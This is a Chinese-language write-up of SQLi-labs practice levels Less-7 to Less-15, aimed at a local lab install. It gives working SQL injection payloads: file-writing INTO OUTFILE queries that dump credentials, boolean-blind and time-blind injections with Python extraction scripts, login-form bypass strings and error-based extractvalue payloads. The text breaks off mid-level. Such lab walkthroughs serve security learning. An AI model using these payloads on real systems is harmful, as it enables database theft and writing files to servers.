LESS-7
上題。
http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1' --+
單引號發現報錯,但不是外顯,所以無法直接進行剝離構造。沒有外顯的話比較麻煩,通過嘗試得到:
http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) --+
回顯正常。這題需要用到outfile,導出型注入。但是使用outfile需要一定的file權限,下面是使用條件:
1 必須有權限讀取並且文件必須完全可讀 2 目的文件必須在服務器上 3 必須指定文件完整的路徑 4 欲讀取文件必須小於 max_allowed_packet
接下來判斷我們是否有file權限,構造語句:
1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+
//select count(*) from mysql.user 意思是返回mysql庫中所有用戶名數量
若回顯正常,說明具有file權限,回顯不正常,則說明不具有file權限。這里回顯正常,說明具有權限。
那么我們可以開始進行注入,構造語句:
1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "/xampp-php5/htdocs/SQLI-LABS/sqli-labs-master/Less-7/1.php" --+
OR
1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,user(),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\1.php" --+
在文件路徑中,若使用’ \ ‘,則需要用另外一個轉義字符將其轉義即一個’ / ‘等於’ \\ ‘。
注入成功,可以發現生成了一個1.php。
同樣地:
1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-7/?id=1')) union select 1,(select group_concat(username,'_',password) from users),database() into outfile "\\xampp-php5\\htdocs\\SQLI-LABS\\sqli-labs-master\\Less-7\\2.php" --+
然后我們以此方法得到flag。
LESS-8
單引號嘗試發現沒有回顯,只有正確的回顯,沒有錯誤的回顯,所以此題無法進行報錯注入。但是憑借you are in....這題我們使用布爾盲注。
先爆出數據庫名,腳本如下:
1 # 爆數據庫名 2 3 def get_database(): 4 database="database: " 5 for i in range(1,9): 6 for key in dictionary: 7 url = main_url + " and ascii(substr(database(),"+str(i) + ",1))="+str(ord(key)) + " --+" 8 html = requests.get(url) 9 if (html.content.find("You are in") != -1): 10 database = database + key 11 print database
然后再爆數據庫。
1 #爆數據庫 2 def get_tables(): 3 tables = "tables: " 4 sql = "select group_concat(table_name) from information_schema.tables where table_schema = database()" 5 for i in range(1,20): 6 for key in dictionary: 7 url = main_url + " and ord(substr(( " + sql + ")," + str(i) + ", 1))= " + str(ord(key)) + " --+" 8 html = requests.get(url) 9 if (html.content.find("You are in") != -1): 10 tables = tables + key 11 print tables
最后利用相同的方法爆出相應的字段,然后就可以隨便玩了。
這題和LESS-5做法區別在於,LESS-5存在報錯提示,而LESS-8沒有報錯提示,但是這並不影響布爾盲注本身的做法。
觀察后台代碼也印證了這一點。
Less-9
單引號嘗試,發現只要id有值,怎樣構造都只有You are in....回顯,這一題無法使用布爾盲注和報錯盲注。所以這一題我們使用時間盲注。
構造payload如下:
1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-9/?id=1' and If(ascii(substr(database(),1,1))=ascii('s'),sleep(3),1) --+ //爆數據庫名
回顯延時,說明 數據庫第一位為‘s’。
這里需要用到IF語句,語句結構是這樣的:IF(condition,true,false)。若條件為真,則執行true里面的語句,若條件為假,則執行false里面的語句。
然后爆數據庫。
1 http://localhost:81/SQLI-LABS/sqli-labs-master/Less-9/?id=1' and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=ascii('e'),sleep(3),1) --+
接下來爆表什么的前面也有講到。所以這里就不放上來了。
丟上腳本:
1 # 爆數據庫名 2 def get_database(): 3 print "Start to retrieve the database_name: " 4 database = "database: " 5 for i in range(1,9): 6 for key in dictionary: 7 url = main_url + " and if(ord(substr(database()," + str(i) + ",1)) = " + str(ord(key)) + " , sleep(5), 1) --+" 8 start_time=time.time() 9 html=requests.get(url) 10 if (time.time() - start_time > 4 ): 11 database=database + key 12 print database
1 # 爆數據庫 2 def get_tables(): 3 print "Start to retrieve the tables: " 4 tables = "tables: " 5 for j in range(1,20): 6 for key in dictionary: 7 url = main_url + " and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+ str(j) +" ,1)) = " + str(ord(key)) + ", sleep(5), 1) --+" 8 start_time=time.time() 9 html=requests.get(url) 10 if (time.time() - start_time > 3): 11 tables = tables + key 12 print tables
Less-10
這題做法和Less-9一樣,將單引號換為雙引號即可。但是問題來了,該怎么判斷是單引號閉合還是雙引號閉合?希望指點。
Less-11
上題。
由於是post形式,所以無法直接在payload上進行變量的傳值。用單引號嘗試,發現是單引號閉合,於是可以在username進行構造,如下:
1 ' union select 1, database() #
爆出數據庫名。
1 ' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #
同理,爆數據庫。
然后相同的方法爆出字段,可以隨便逛了。
LESS-12
方法和上一題一樣,將單引號換為”)即可。
Less-13
單引號嘗試,報錯發現為‘)閉合,利用布爾盲注,構造如下:
1 admin') and substr(database(),1,1)>'a' #
這里的話利用二分法爆數據庫名。其他數據一樣。
Less-14
將上題改為 ” 雙引號即可,利用布爾盲注之后,發現這題也可以利用報錯注入,payload如下:
1 admin" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #
Less-15
單引號嘗試,發現為單引號閉合,於是直接布爾盲注,注入成功。接下來再嘗試報錯注入,發現題目沒有語法報錯,所以報錯注入在此題行不通。於是利用時間盲注,腳本如下: